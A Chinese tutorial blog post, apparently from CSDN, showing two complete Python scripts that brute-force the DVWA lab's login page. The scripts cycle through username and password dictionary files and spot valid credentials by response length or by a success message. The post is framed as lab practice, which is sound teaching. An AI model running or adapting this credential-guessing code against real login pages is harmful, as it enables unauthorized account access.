只用20行Python代码就攻破了网站登录

本文介绍了如何使用Python进行网站登录的暴力破解,通过DVWA靶机的Low和Medium级别进行实战演示。关键步骤包括抓包、改包、循环遍历字典文件进行笛卡尔积组合,并通过比较响应包长度差异来识别有效账号密码。此外,还提供了根据登录成功返回特征判断正确账号密码的方法。
摘要由CSDN通过智能技术生成

e5f36d311873e2908156a8917fbcd74d.png

大家好,我是辰哥~

今天教大家用Python代码攻破网站登录(在测试靶机上进行实验),原理上是抓包和改包,如果学过的爬虫的话,相信你会快看懂这篇文章

测试靶机为DVWA,适合DVWA暴力破解模块的Low和Medium等级。

关键代码解释

url指定url地址

url = "http://192.168.171.2/dvwa/vulnerabilities/brute/"

header设置请求头

header = {
    'User-Agent':'Mozilla/5.0 (Windows NT 10.0; WOW64; rv:46.0) Gecko/20100101 Firefox/46.0',
    'Cookie':'security=medium; PHPSESSID=geo7gb3ehf5gfnbhrvuqu545i7'
}

payload设置请求参数

payload = {'username':username,'password':password,"Login":'Login'}

这一行的作用是作一次get请求,响应信息被变量Response接收。

Response = requests.get(url,params=payload,headers=header)

这两行代码循环遍历账号和密码字典文件,之后给他们做笛卡尔积循环暴力破解

这种方式和burp的Intruder模块的Cluster bomb攻击方式一样。

for admin in open("C:\\Users\\admin\\Documents\\字典\\账号.txt"):
    for line in open("C:\\Users\\admin\\Documents\\字典\\密码.txt"):

然后把循环结果存放到csv文件里,用逗号分割数据

Response.status_code是响应的http状态码,len(Response.content)是http响应报文的长度。

result = str(Response.status_code) + ',' + username + ','\
  + password + ',' + str(len(Response.content))
f.write(result + '\n')

完整代码

方法一

登陆成功的和失败返回数据不同,所以数据包长度也不同。包长度与其他不同的数据,可能就是正确的账号密码。

import requests


url = "http://192.168.171.2/dvwa/vulnerabilities/brute/"
#proxies= {"http":"http://127.0.0.1:8080"}  #代理设置,方便burp抓包查看
header = {
    'User-Agent':'Mozilla/5.0 (Windows NT 10.0; WOW64; rv:46.0) Gecko/20100101 Firefox/46.0',
    'Cookie':'security=medium; PHPSESSID=bdi0ak5mqbud69nrnejgf8q00u'
}


f = open('result.csv','w')
f.write('状态码' + ',' + '用户名' + ',' + '密码' + ',' + '包长度' + '\n')
for admin in open("C:\\Users\\admin\\Documents\\字典\\账号.txt"):
    for line in open("C:\\Users\\admin\\Documents\\字典\\密码.txt"):
        username = admin.strip()
        password = line.strip()
        payload = {'username':username,'password':password,"Login":'Login'}
        Response = requests.get(url,params=payload,headers=header)
        result = str(Response.status_code) + ',' + username + ','\
            + password + ',' + str(len(Response.content))
        f.write(result + '\n')


print('\n完成')

运行

8467e92e3dfb9048b116ca8ae214fb07.png

这就是脚本发送的数据包

369ffd45287afc23d6e5dd319424aa25.png

查看结果

ef24253cc75a06ecee42c5327fb7e720.png

查看包长度与其他不同的数据,登录测试

1fb1024202570107eee81017d953fb5b.png

方法二

这个方法是根据登陆成功的返回特征来判断是否为正确的账号密码,然后把正确的账号密码输出到屏幕和txt文件里。

主要改动在第17到20行

import requests


url = "http://192.168.171.2/dvwa/vulnerabilities/brute/"
#proxies= {"http":"http://127.0.0.1:8080"}  #代理设置,方便burp抓包查看
header = {
    'User-Agent':'Mozilla/5.0 (Windows NT 10.0; WOW64; rv:46.0) Gecko/20100101 Firefox/46.0',
    'Cookie':'security=medium; PHPSESSID=bdi0ak5mqbud69nrnejgf8q00u'
}


f = open('result.txt','w')
for admin in open("C:\\Users\\admin\\Documents\\字典\\账号.txt"):
    for line in open("C:\\Users\\admin\\Documents\\字典\\密码.txt"):
        username = admin.strip()
        password = line.strip()
        payload = {'username':username,'password':password,"Login":'Login'}
        Response = requests.get(url,params=payload,headers=header)
        if not(Response.text.find('Welcome to the password protected area')==-1):
            result = username + ':' + password
            print(result)
            f.write(result + '\n')
            
print('\n完成')

运行

10ef094613086f08736119679075e0bb.png

16e3ec1d730c8157dc3e7b23d478966e.png

欢迎扫码与我交流

78428aac8d2a3895b894900529a1873e.png

朋友圈经常有点赞送书,发红包等活动

欢迎来围观

- EOF -

推荐阅读  点击标题可跳转

1、使用 Numba 让 Python 计算得更快:两行代码,提速 13 倍

2、我学习Python的三个神级网站

3、1w 字的 pandas 核心操作知识大全

4、pandas 缺失数据处理大全(附代码)

觉得本文对你有帮助?请分享给更多人

点赞和在看就是最大的支持❤️

  • 1
    点赞
  • 17
    收藏
    觉得还不错? 一键收藏
  • 1
    评论
评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值